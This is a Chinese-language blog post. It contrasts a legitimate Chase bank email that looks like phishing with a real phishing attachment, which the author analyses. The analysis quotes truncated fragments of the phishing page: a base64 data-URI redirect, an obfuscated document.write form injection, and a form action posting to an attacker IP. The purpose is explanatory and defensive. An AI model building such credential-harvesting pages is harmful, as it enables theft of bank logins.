換個角度看看,為什么釣魚攻擊總能成功?
當我第一次收到銀行發來的“安全”郵件時,我第一反應就是這里是否有詐?因為在我看來,它實在是太像釣魚郵件了。這封躺在收件箱里的郵件來源于我銀行經理的個人郵箱地址,而非Chase銀行的官方郵箱。郵件中不僅附帶有一個HTML頁面,而且還有文字告訴我“在瀏覽器中打開這個頁面以了解如何進行下一步操作”,這一切瞬間讓我提高了警惕。
首先,本身電子郵件這個東西就是不安全的,更何況是我的銀行還發送了一封帶有附件的“安全”郵件給我。這看起來就像是一次教科書般的釣魚攻擊,所以我趕緊拿起電話直接打給了我的銀行經理。
“不是的,這是合法郵件。我需要你將它打印出來,然后簽署一些文件。”這就是銀行經理給我的回答。
但我說到:“首先,郵件發送人的地址看起來就非??梢?,而且這種郵件不僅要讓我點擊外部鏈接并打開附件,而且還要我在Web表單中填寫我的個人信息,這誰會信啊?”
銀行經理說到:“我完全理解,這確實會讓人懷疑。但這封郵件沒有任何問題,我的確發過這封郵件給你,如果需要的話我還可以再發一次。”
于是乎,他果然又發了一封給我。這封重發的郵件看起來與之前那封完全一樣,但這一次我正在與我的銀行經理通話,所以我按照要求打開了附件。郵件中有一個“點擊讀取信息”的按鈕,點擊之后將我重定向到了Chase銀行的安全郵件門戶網站。但是整個過程讓我感到非常的奇葩,我也將我擔心的地方告訴了我的銀行經理、他的上司、以及Chase的客戶支持部門。
值得一提的是,我們是不可能完完全全地對客戶的行為進行安全培訓的,而銀行所采用的交互方式與釣魚攻擊幾乎沒有區別,這就非常危險了。
攻擊分析
近期,我收到了一封真正的釣魚郵件。這封郵件來自chase.online@chasee.com,它很明顯是封偽造的郵件,但如果不仔細的話還是看不出什么端倪的。這封郵件聲稱我的銀行賬號近期出現了很多錯誤操作,并且跟之前那封真實的郵件一樣,它也讓我在瀏覽器中打開附件HTML文件并按提示進行操作。
但很明顯我不會按它說的做!于是,我把HTML文件下載了下來,然后把它拖到了代碼審查窗口中。我發現,除了正常的HTML代碼之外,文件中還包含一段腳本代碼:
- window.location="data:text/html;base64,PCFET0NUWVBFIEhUTUwg...
這個頁面會在地址欄中顯示一大堆Base64編碼的數據,代碼本身包含有Chase銀行官網的腳本、圖片以及指向合法頁面的鏈接,整個頁面看起來和正常的Chase銀行登錄頁面沒什么區別。但是,代碼中還包含有其他的腳本代碼(經過混淆),這些代碼會在登錄頁面中添加一個自定義的表單:
- document.write(unescape('%3C%66%6F%72...
在對代碼進行了反混淆之后,我發現所有的代碼都與Chase銀行的真實登錄頁面一致,只不過表單action屬性指向的是攻擊者所控制的服務器。
- <form action="http://191..."class="button" method="post" name="submit"id="submit">